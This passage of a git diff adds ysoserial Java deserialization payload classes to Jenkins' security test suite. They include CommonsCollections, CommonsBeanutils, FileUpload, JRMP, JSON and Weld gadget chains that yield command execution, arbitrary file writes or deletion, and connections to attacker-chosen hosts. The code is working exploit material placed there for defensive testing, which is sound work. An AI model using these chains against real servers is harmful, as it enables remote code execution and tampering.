comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + + // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) + final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(BeanShell1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java new file mode 100755 index 0000000000..95db4e0eed --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -0,0 +1,42 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java new file mode 100755 index 0000000000..a388619ac1 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + Object templatesImpl = Gadgets.createTemplatesImpl(command); + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { templatesImpl } )}; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections3.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java new file mode 100644 index 0000000000..a973a66119 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java @@ -0,0 +1,62 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + Object templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[] { String.class }; + Object[] args = new Object[] { "foo" }; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections4.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java new file mode 100644 index 0000000000..b45aaa9fa7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { + + public BadAttributeValueExpException getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections5.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java new file mode 100644 index 0000000000..059b8c8195 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java @@ -0,0 +1,107 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/* + Gadget chain: + java.io.ObjectInputStream.readObject() + java.util.HashSet.readObject() + java.util.HashMap.put() + java.util.HashMap.hash() + org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + org.apache.commons.collections.map.LazyMap.get() + org.apache.commons.collections.functors.ChainedTransformer.transform() + org.apache.commons.collections.functors.InvokerTransformer.transform() + java.lang.reflect.Method.invoke() + java.lang.Runtime.exec() + + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { + + public Serializable getObject(final String command) throws Exception { + + final String[] execArgs = new String[] { command }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + return map; + + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections6.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000000..f65a6ba13f --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000000..3bc89b8d41 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,112 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(";"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000000..36c1711727 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,82 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return proxy; + } + + + public static void main ( final String[] args ) throws Exception { + Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000000..a93d3b4b9a --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java new file mode 100644 index 0000000000..626827929e --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java @@ -0,0 +1,119 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.openmbean.CompositeData; +import javax.management.openmbean.CompositeType; +import javax.management.openmbean.OpenDataException; +import javax.management.openmbean.OpenType; +import javax.management.openmbean.TabularDataSupport; +import javax.management.openmbean.TabularType; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; +import net.sf.json.JSONObject; + + +/** + * + * A bit more convoluted example + * + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes", "unchecked", "restriction" +} ) +@Dependencies ( { + "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", + "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" +} ) +public class JSON1 implements ObjectPayload { + + public Map getObject ( String command ) throws Exception { + return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + } + + + /** + * Will call all getter methods on payload that are defined in the given interfaces + */ + public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { + CompositeType rt = new CompositeType("a", "b", new String[] { + "a" + }, new String[] { + "a" + }, new OpenType[] { + javax.management.openmbean.SimpleType.INTEGER + }); + TabularType tt = new TabularType("a", "b", rt, new String[] { + "a" + }); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(payload); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections + .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); + invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); + invocationHandler.setDefaultHandler(delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JSON1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000000..e52fe03dad --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,79 @@ +package jenkins.security.security218.ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata 